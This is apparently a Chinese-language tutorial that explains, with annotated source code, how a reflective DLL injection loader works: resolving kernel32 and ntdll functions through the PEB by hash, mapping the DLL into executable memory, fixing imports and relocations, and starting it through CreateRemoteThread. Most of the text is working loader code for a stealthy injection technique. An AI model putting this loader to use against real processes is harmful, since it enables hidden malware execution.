--------------------------------------------------------------------------------有任何错误,请留言指正。
主要功能:将需要注入的dll写入进程内存,用注射器实现LoadLibrary的功能,使用CreateRemoteThread函数将注射器启动。
uiLibraryAddress = caller();
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
//pe头偏移RVA
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//判断PE头的正确性
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
//pe头在内存中的位置
uiHeaderValue += uiLibraryAddress;
//如果找到文件头就退出循环
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
caller();的定义为:
__declspec(noinline) ULONG_PTR caller( VOID ) {
return (ULONG_PTR)_ReturnAddress(); }
其中函数_ReturnAddress()返回的是当前调用函数的返回地址,也就是caller()的下一条指令的地址。
这个地址位于ReflectiveLoader的内部,即位于被注入的DLL文件内部,然后遍历查找PE文件头。
首先,获取当前进程的基地址。
然后借助PEB (ProcessEnvironment Block)来查找kernel32.dll和ntdll.dll在内存中的位置。
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
每一个线程都具有一个TEB结构,其中记录了相关线程的一些基本信息。线程运行时,其GS段寄存器记录了其TEB的位置。对于X64系统,寄存器位置gs:[0x60]中,存放的是PEB结构的地址。
在PEB结构的0x0C偏移处,是一个指向PEB_LDR_DATA结构体的指针。其中的三个LIST_ENTRY是三个链表,按照不同的顺序规则将当前进程加载的所有模块链接起来。
通过遍历其中的任意一个LIST_ENTRY,我们就可以获得所有模块的基地址,然后查找该模块中的导出表,就可以找到我们需要的函数当前地址。
需要用到的函数如下:
VirtualAlloc-用来为镜像要加载的地址分配空间
LoadLibraryA、GetProcAddress-处理导入表
NtFlushInstructionCache-刷新数据,让CPU执行新指令
//获取PEB_LDR_DATA structure结构指针,包含进程有关模块的信息
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
//获取模块目录的第一个入口
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
//当前模块的名称
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
//名称长度
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
//计数
uiValueC = 0;
//计算HASH值
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
//如果是kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
//获取导出表,查找导出函数
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
usCounter--;
}
//获取下一个导出函数
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
{
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
while( usCounter > 0 )
{
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
四个函数都找完,则结束该循环
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;
//获取下一个入口
uiValueA = DEREF( uiValueA );
}
复制PE文件头部
//获取文件头
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//使用上一节获取的函数分配内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
//头部大小
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
//文件地址
uiValueB = uiLibraryAddress;
//内存地址
uiValueC = uiBaseAddress;
//将读取到的文件PE头复制到分配的内存中
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
下一段代码是复制各个区段
//获取第一个区段的地址和区段数
//可选头地址+可选头大小是第一个区段的位置
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
//基地址+区段中存储的RVA,就是区段的虚拟地址,也就是内存中的地址
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
//文件地址——区段中存储的Raw,就是区段的文件地址,也就是当前PE文件读取到内存中的位置
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
//区段大小
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
//获取下一个区段
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
被注入的DLL可能还依赖于其他的DLL,因此我们还需要装载这些被依赖的DLL,并修改本DLL的引入表,使这些被引入的函数能正常运行。
PE文件的导入表中存在两个表,导入表(INT,unbound IAT)和导入地址表(IAT)。在未导入时,两个表是一致的。当导入一个模块的时候,原始导入表INT存放的是原始数据,不会有变化;而导入地址表中存放的是该模块导入后,各个导入函数的实际函数地址。
//获取导入表
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
//获取INT和IAT表,加载该模块
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
//判断是按序号导入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
//从加载的模块的导出表中查找该序号的函数
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
//获取导出表中的函数地址表
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
//获取函数地址表中存放的函数地址
//函数序号-起始序号
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
//写入到当前IAT中
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
//如果是按名字导入的,则直接使用函数GetProcAddress即可
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
//获取下一个需要修改IAT的位置
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
//获取下一个需要修改的导入模块
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
被注入的DLL只有其ReflectiveLoader中的代码使用全部都是局部变量,不需要重定位。其他部分的代码则需要经过重定位才能正确运行。幸运的是DLL文件提供了我们进行重定位所需的所有信息,这是因为每一个DLL都具有加载不到预定基地址的可能性,所以每一个DLL都对自身的重定位做好了准备。
基址重定位表的结构如下:
typedef struct _IMAGE_BASE_RELOCATION
{
DWORD VirtualAddress;
DWORD SizeOfBlock;
WORD TypeOffset[1];
}IMAGE_BASE_RELOCATION;
IMAGE_BASE_RELOCATION之所以是一个数组,是因为每个IMAGE_BASE_RELOCATION只负责4KB大小分页内的重定位信息,换句话说PE文件中需要重定位的部分每隔0x1000字节就有一个IMAGE_BASE_RELOCATION负责。也因此结构中的VirtualAddress总是0x1000的倍数。基址重定位详细解释
在IMAGE_BASE_RELOCATION结构体的后面紧接着就是该页需要重定位所有TypeOffset:
TypeOffset低12位是需要重定位位置在该页内的偏移,所以只需要12位就足够了。
TypeOffset的高4位是重定位信息的类型,不同类型的修正方法不同。
事实上,Windows只用了一种类型IMAGE_REL_BASED_HIGHLOW ,Type是 3。
需要重定位的数据位置 = ImageBase + VirtualAddress + TypeOffset低12位
//获取基址重定位表
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
//获取需要重构定位的那一页
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
//判断获取需要重定位的页
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
//需要重定位的个数=(该表的尺寸减去IMAGE_BASE_RELOCATION的结构体大小)/IMAGE_RELOC结构体的大小
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
//获取需要重定位的Offset
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
//当前镜像地址+VA+Offset
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
//获取下一个重定位位置
uiValueD += sizeof( IMAGE_RELOC );
}
//获取下一个重定位表
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
最后,将控制权转交给DLL文件的入口点,这个入口点可以通过NT可选印象头中的AddressOfEntryPoint找到。一般地,它会完成C运行库的初始化,执行一系列安全检查并调用dllmain。
//获取函数入口点
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
//清除指令缓存以避免问题
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
至此,整个注射器任务就完成了,执行完这个函数之后,整个dll就会被加载到进程中。
如何实现这个加载呢。
关于这一点,dll在编写过程中,需要将反射器函数导出,方便查找函数位置。
在创建远程线程时候,将反射器函数的地址作为线程起始点即可。